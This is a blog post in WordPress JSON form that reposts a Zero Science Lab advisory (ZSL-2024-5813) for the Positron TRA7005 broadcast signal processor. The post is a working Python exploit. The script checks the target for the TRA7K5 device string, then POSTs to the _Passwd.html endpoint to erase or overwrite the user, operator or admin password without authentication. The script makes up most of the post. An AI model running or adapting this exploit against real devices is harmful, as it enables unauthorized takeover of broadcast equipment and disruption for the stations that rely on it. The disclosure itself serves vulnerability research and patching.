{"id":56086,"date":"2024-04-04T19:29:44","date_gmt":"2024-04-04T15:29:44","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177939\/ZSL-2024-5813.txt"},"modified":"2024-04-04T19:29:44","modified_gmt":"2024-04-04T15:29:44","slug":"positron-broadcast-signal-processor-tra7005-1-20-authentication-bypass","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/positron-broadcast-signal-processor-tra7005-1-20-authentication-bypass\/","title":{"rendered":"Positron Broadcast Signal Processor TRA7005 1.20 Authentication Bypass"},"content":{"rendered":"<p>#!\/usr\/bin\/env python<br \/># -*- coding: utf-8 -*-<br \/>#<br \/>#<br \/># Positron Broadcast Signal Processor TRA7005 v1.20 _Passwd Exploit<br \/>#<br \/>#<br \/># Vendor: Positron srl<br \/># Product web page: https:\/\/www.positron.it<br \/># https:\/\/www.positron.it\/prodotti\/apparati-broadcast\/stereo-multicoder\/tra-7005\/<br \/># Affected version: 1.20<br \/># TRA7K5_REV107<br \/># TRA7K5_REV106<br \/># TRA7K5_REV104<br \/># TRA7K5_REV102<br \/>#<br \/># Summary: The TRA7000 series is a set of products dedicated to broadcast, designed to<br \/># guarantee an excellent quality-price ratio in compliance with current regulations and<br \/># intended for individual broadcasters or radio networks. All models in the TRA7000 series<br \/># are fully digital, using only high-quality components such as 24-bit A\/D and D\/A converters<br \/># and 32-bit DSP. The TRA7005 performs the functions of Stereo Coder, RDS Coder, 5-output<br \/># MPX Distributor, AGC (adjustable) for both analogue and digital audio inputs, Clipper<br \/># for both analogue and digital audio inputs, change-over emergency switching between any<br \/># input with adjustable thresholds and intervention times, both in the switching phase on<br \/># the secondary source and in the return phase to the primary source. Ethernet connection<br \/># with Web-Server (optional) for total control and management of the device. Advanced BYPASS<br \/># system between MPX input and outputs, active on operating and power supply anomalies and<br \/># can also be activated remotely.<br \/>#<br \/># Desc: The Positron Broadcast Digital Signal Processor TRA7005 suffers from an authentication<br \/># bypass through a direct and unauthorized access to the password management functionality.<br \/># The vulnerability allows attackers to bypass Digest authentication by manipulating the<br \/># password endpoint _Passwd.html and its payload data to set a user&#8217;s password to arbitrary<br \/># value or remove it entirely. This grants unauthorized access to protected areas (\/user,<br \/># \/operator, \/admin) of the application without requiring valid credentials, compromising<br \/># the device&#8217;s system security.<br \/>#<br \/># Tested on: Positron Web Server<br \/>#<br \/>#<br \/># Vulnerability discovered by Gjoko &#8216;LiquidWorm&#8217; Krstic<br \/># @zeroscience<br \/>#<br \/>#<br \/># Advisory ID: ZSL-2024-5813<br \/># Advisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2024-5813.php<br \/>#<br \/>#<br \/># 22.03.2024<br \/>#<br \/>#<\/p>\n<p>import requests,sys<\/p>\n<p>print(&#8220;&#8221;&#8221;<br \/>______________________________________<br \/>\u250f\u2533\u2513\u2022 \u250f\u2513 \u2513 \u250f\u2513 \u2513 \u2022 <br \/>\u2503 \u2513\u250f\u2513\u2513\u250f \u2503\u2503\u250f\u2513\u250f\u250f\u2513\u250f\u250f\u250f\u2513\u250f\u2513\u250f\u252b \u2523 \u2513\u250f\u250f\u2513\u2503\u250f\u2513\u2513\u254b<br \/>\u253b \u2517\u251b\u2517\u2517\u252b \u2523\u251b\u2517\u253b\u251b\u251b\u2517\u253b\u251b\u2517\u251b\u251b \u2517\u253b \u2517\u251b\u251b\u2517\u2523\u251b\u2517\u2517\u251b\u2517\u2517<br \/>\u251b \u251b<br \/>for<br \/>Positron Digital Signal Processor<br \/>ZSL-2024-5813<br \/>______________________________________<br \/>&#8220;&#8221;&#8221;)<\/p>\n<p>if len(sys.argv) != 4:<br \/>print(&#8220;Usage: python positron.py &lt;ip:port&gt; &lt;user\/oper\/admin&gt; &lt;erase\/new_pwd&gt;&#8221;)<br \/>sys.exit(1)<\/p>\n<p>ip = sys.argv[1]ut = sys.argv[2]wa = sys.argv[3]\n<p>valid_ut = [&#8216;user&#8217;, &#8216;oper&#8217;, &#8216;admin&#8217;]if ut.lower() not in valid_ut:<br \/>print(&#8220;Invalid user type! Use &#8216;user&#8217;, &#8216;oper&#8217;, or &#8216;admin&#8217;.&#8221;)<br \/>sys.exit(1)<\/p>\n<p>url = f&#8217;http:\/\/{ip}\/_Passwd.html&#8217;<br \/>did = f&#8217;http:\/\/{ip}\/_Device.html&#8217;<\/p>\n<p>try:<br \/>r = requests.get(did)<br \/>if r.status_code == 200 and &#8216;TRA7K5&#8217; in r.text:<br \/>print(&#8220;Vulnerable processor found!&#8221;)<br \/>else:<br \/>print(&#8220;Not Vulnerable or not applicable. Exploit exiting.&#8221;)<br \/>sys.exit(1)<br \/>except requests.exceptions.RequestException as e:<br \/>print(f&#8221;Error checking device: {e}&#8221;)<br \/>sys.exit(1)<\/p>\n<p>headers = {<br \/>&#8216;Content-Type&#8217; : &#8216;application\/x-www-form-urlencoded&#8217;,<br \/>&#8216;Accept-Language&#8217;: &#8216;mk-MK,en;q=0.6&#8217;,<br \/>&#8216;Accept-Encoding&#8217;: &#8216;gzip, deflate&#8217;,<br \/>&#8216;User-Agent&#8217; : &#8216;R-Marina\/11.9&#8217;,<br \/>&#8216;Accept&#8217; : &#8216;*\/*&#8217;<br \/>}<\/p>\n<p>payload = {}<br \/>if wa.lower() == &#8216;erase&#8217;:<br \/>payload[f&#8217;PSW_{ut.capitalize()}&#8217;] = &#8216;NONE&#8217;<br \/>else:<br \/>payload_key = f&#8217;PSW_{ut.capitalize()}&#8217;<br \/>payload[payload_key] = wa<br \/>#print(payload)<\/p>\n<p>r = requests.post(url, headers=headers, data=payload)<br \/>print(r.status_code)<br \/>print(r.text)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>#!\/usr\/bin\/env python# -*- coding: utf-8 -*-### Positron Broadcast Signal Processor TRA7005 v1.20 _Passwd Exploit### Vendor: Positron srl# Product web page: https:\/\/www.positron.it# https:\/\/www.positron.it\/prodotti\/apparati-broadcast\/stereo-multicoder\/tra-7005\/# Affected version: 1.20# TRA7K5_REV107# TRA7K5_REV106# TRA7K5_REV104# TRA7K5_REV102## Summary: The TRA7000 series is a set of products dedicated to broadcast, designed to# guarantee an excellent quality-price ratio in compliance with current regulations and# intended &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56086","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56086","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56086"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56086\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56086"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56086"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56086"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}